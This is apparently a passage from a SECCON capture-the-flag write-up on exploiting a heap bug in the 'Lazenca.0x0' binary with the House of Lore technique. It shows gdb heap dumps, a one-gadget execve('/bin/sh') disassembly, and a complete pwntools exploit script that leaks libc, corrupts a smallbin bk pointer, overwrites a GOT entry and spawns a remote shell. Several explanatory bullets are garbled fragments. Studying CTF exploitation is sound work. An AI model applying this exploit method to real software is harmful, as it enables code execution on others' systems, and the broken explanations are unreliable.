0	0xa175e0	A	0x20	None	None
Order list[0]	0xa17600	A	0x20	None	None
0	0xa17620	A	0x90	None	None
1	0xa176b0	F	0x20	0x0	None
	0xa176d0	A	0x4c0	None	None
1	0xA17B90	A	0x90	None	None
gAccount[2].fd	0xA17c20	A	0x90	None	None

- **1 0xA17B90 Smallbin .**
  - 0xA17B90 Smallbin[16], [17] .

debugging

```
gdb-peda$ parseheap
addr                prev                size                status              fd
bk
0xa17000            0x0                 0x90                Used                None              None
0xa17090            0x0                 0x410               Used                None              None
0xa174a0            0x0                 0x20                Used                None              None
0xa174c0            0x0                 0x20                Used                None              None
0xa174e0            0x0                 0x20                Used                None              None
0xa17500            0x0                 0x20                Used                None              None
0xa17520            0x0                 0x20                Used                None              None
0xa17540            0x0                 0x20                Used                None              None
0xa17560            0x0                 0x20                Used                None              None
0xa17580            0x0                 0x20                Used                None              None
0xa175a0            0x0                 0x20                Used                None              None
0xa175c0            0x0                 0x20                Used                None              None
0xa175e0            0x0                 0x20                Used                None              None
0xa17600            0xa17630                 0x20                Freed     0x7ff5052a2b88
0xa176b0
0xa17620            0x100006567         0x90                Used
None                      None
0xa176b0            0x90                0x20                Freed           0xa17600    0x7ff5052a2b88
0xa176d0            0x100006567         0x4c0               Used                None              None
0xa17b90            0x0                              0x90                Freed     0x7ff5052a2bf8
0x7ff5052a2bf8
0xa17c20            0x90                        0x90                Used                None              None
0xa17cb0            0x90                        0x4c0               Used                None              None
gdb-peda$ p main_arena.bins[16]
$1 = (mchunkptr) 0xa17b90
gdb-peda$ p main_arena.bins[17]
$2 = (mchunkptr) 0xa17b90
gdb-peda$
```

Heap area structure

	Address	State	Heap size	fd	bk
0	0xa175e0	A	0x20	None	None
Order list[0]	0xa17600	A	0x20	0x7ff5052a2b88	0xa176b0
0	0xa17620	A	0x90	None	None
1	0xa176b0	F	0x20	0xa176b0	0x7ff5052a2b88
	0xa176d0	A	0x4c0	None	None
1	0xA17B90	A	0x90	0x7ff5052a2bf8	0x7ff5052a2bf8
gAccount[2].fd	0xA17c20	A	0x90	None	None
	0xa17cb0	A	0x4c0	None	None

- **2 bk .**
  - bk Fake chunk .

debugging

```
gdb-peda$ x/6gx 0x9d4b90
0xA17B90:        0x0000000000000000        0x0000000000000091
0xa17ba0:        0x00007f91951a6bf8        0x0000000000604240
0xa17bb0:        0x4141414141414141        0x0000000000000000
gdb-peda$
```

- **main_arena.bins[17] gAccount[1] .**
  - Order list , .

Overwrite Smallbin bk

```
gdb-peda$ p main_arena.bins[16]
$3 = (mchunkptr) 0xA17B90
gdb-peda$ p main_arena.bins[17]
$4 = (mchunkptr) 0x604240
gdb-peda$
```

- **gAccount[] .**
  - .
  - Order list , .
    - gAccount[1].fd .
    - .
      - gAccount[1].fd = " " - 0x18
      - 2 " " .

Overwrite gAccount[1].fd

```
Breakpoint 1, 0x000000000040123a in ?? ()
gdb-peda$ ni
0x000000000040123f in ?? ()
gdb-peda$ i r rax
rax            0x604250        0x604250
gdb-peda$ x/4gx 0x604250
0x604250:        0x00007f070160bbf8        0x0000000000604268
0x604260:        0x0000000000000003        0x0000000000000003
Breakpoint 2, 0x000000000040125f in ?? ()
gdb-peda$ x/4gx 0x604250
0x604250:        0x0a41414141414141        0x0000000000604268
0x604260:        0x0000000000000003        0x0000000000000003
gdb-peda$
```

One Gadget

- **One Gadget .**
  - Gadget fflush.got Shell .

One Gadget

```
.text:00000000000F0274                mov     rax, cs:environ_ptr_0
.text:00000000000F027B                lea     rsi, [rsp+1B8h+var_168]
.text:00000000000F0280                lea     rdi, aBinSh     ; "/bin/sh"
.text:00000000000F0287                mov     rdx, [rax]
.text:00000000000F028A                call    execve
```

Unknown macro: 'html'

Exploit Code

Exploit code

```
from pwn import *
#context.log_level = 'debug'

gAccount1bk = 0x604240
gAccount2fd = 0x604268

def fill(addr):
```

```
    tmp = int(addr)

    log.info('Original address(int) : ' + str(tmp) + ', (hex) : ' + hex(tmp))

    tmp -= 10000

    log.info('Address - 10000(int) : ' + str(tmp) + ', (hex) : ' + hex(tmp))

    tmp = str(tmp)
    for i in range(5):
        for j in range(int(tmp[6-i])):
            charge(str(i))

    for i in range(int(tmp[0:2])):
        charge('5')

def setAccount(id):
    p.recvuntil('Enter your ID.')
    p.send('a')
    p.recvuntil('Enter your Password.')
    p.send('a')
    p.recvuntil('Create an account?')
    p.send('0')
    p.recvuntil('Enter your New ID.')
    p.send(id)
    p.recvuntil('Enter your New Password.')
    p.send(id)
    p.recvuntil('Enter your profile.')
    p.send('TEST')

def login(id,pw):
    p.recvuntil('Enter your ID.')
    p.send(id)
    p.recvuntil('Enter your Password.')
    p.send(pw)

def logout():
    p.recvuntil('Command : ')
    p.send('9')
    p.recvuntil('1) No')
    p.send('0')

def delAccount(num):
    p.recvuntil('Command : ')
    p.send('5')
    p.recvuntil('Command : ')
    p.send('1')
    p.recvuntil('Please enter the number of the account you want to delete')
    p.send(num)
    p.recvuntil('Command : ')
    p.send('3')

def pwChange(num,pw):
    p.recvuntil('Command : ')
    p.send('5')
    p.recvuntil('Command : ')
    p.send('2')
    p.recvuntil('Please enter the number of the account you want to change PW')
    p.send(num)
    p.recvuntil('Enter your New Password.')
    p.send(pw)
    p.recvuntil('Command : ')
    p.send('3')

def charge(num):
    p.recvuntil('Command : ')
    p.send('3')
    p.recvuntil('5) 100000')
    p.send(num)

def setOrderlist(num):
```

```
    p.recvuntil('Command : ')
    p.send('4')
    p.recvuntil('Command : ')
    p.send('2')
    p.recvuntil('Please pick up the candies to order.')
    p.send(num)
    p.recvuntil('Command : ')
    p.send('5')

def delOrderlist():
    p.recvuntil('Command : ')
    p.send('4')
    p.recvuntil('Command : ')
    p.send('3')
    p.recvuntil('Candy code: ')
    p.send('0')
    p.recvuntil('Command : ')
    p.send('5')

def getOrderlist():
    p.recvuntil('Command : ')
    p.send('4')
    p.recvuntil('Command : ')
    p.send('1')

def setOrder(price,desc):
    p.recvuntil('Command : ')
    p.send('4')
    p.recvuntil('Command : ')
    p.send('4')
    p.recvuntil('0) Yes, 1) No')
    p.send('0')
    p.recvuntil('Enter the price of ')
    p.sendline(price)
    p.recvuntil('Enter a description of the')
    p.send(desc)
    p.recvuntil('Command : ')
    p.send('5')

def purchase(code,num,comment):
    p.recvuntil('Command : ')
    p.send('2')
    p.recvuntil('Please enter the code number of the candy to be purchased.')
    p.send(code)
    p.recvuntil('Please enter the number of the candy to purchase.')
    p.send(num)
    p.recvuntil('Please enter a comment for candy.')
    p.send(comment)

bin = ELF('./Lazenca.0x0')
p = remote('n8.pwn.tk.seccon.spica.bz',9999)

signal = bin.got['signal']

login('Admin','admin')

setOrderlist('1')
setOrder('10','TEST')

setOrderlist('1')
setOrderlist('1')

purchase('0','10','AA')

setOrderlist('1')

getOrderlist()

p.recvuntil('Order code  : ')
p.recvuntil('Order code  : ')
p.recvuntil('Order code  : ')
```

```
p.recv(1)
tmp = p.recv(5)
tmp = '\x00' + tmp
libcLeak = u64(tmp.ljust(8,'\x00'))
libcBase = libcLeak - 0x3c4c00
execve = libcBase + 0xF0274

log.info("Libc leak : " + hex(libcLeak))
log.info("Libc base: " + hex(libcBase))
log.info("execve : " + hex(execve))

p.recvuntil('Command : ')
p.send('5')

#Design heap
delOrderlist()

setOrder('20','BB')

logout()

#Create account 1
setAccount('asdf')
login('asdf','asdf')
fill(gAccount2fd)
logout()

#Create account 2
setAccount('qwer')
login('qwer','qwer')
fill(gAccount1bk)
logout()

#Set gAccount[1].fd->state
login('Admin','admin')

delAccount('2')

setOrderlist('0')
setOrder('1','A'*24)

#register bins[16,17]
purchase('1','10','AA')

#Overwrite Smallbin bk
pwChange('2',p64(gAccount1bk))

setOrderlist('3')
setOrder('1','A'*24)

purchase('1','10','AA')

#Overwrite gAccount[1].fd
setOrderlist('2')
setOrder('1',p64(signal))

#Overwrite fflush.got
p.recvuntil('Command : ')
p.send('5')
p.recvuntil('Command : ')
p.send('2')
p.recvuntil('Please enter the number of the account you want to change PW')
p.send('2')
p.recvuntil('Enter your New Password.')
p.send(p64(execve))

#Get shell
p.interactive()
```

Flag

Flag	SECCON{Y0u h4ve 4cquired the "H0use 0f L0re" techn0l0gy. by Lazenca.0x0}

Related Site

- https://gist.github.com/Charo-IT/aae574aef2145d454e196a9842cad4b5

Unknown macro: 'html'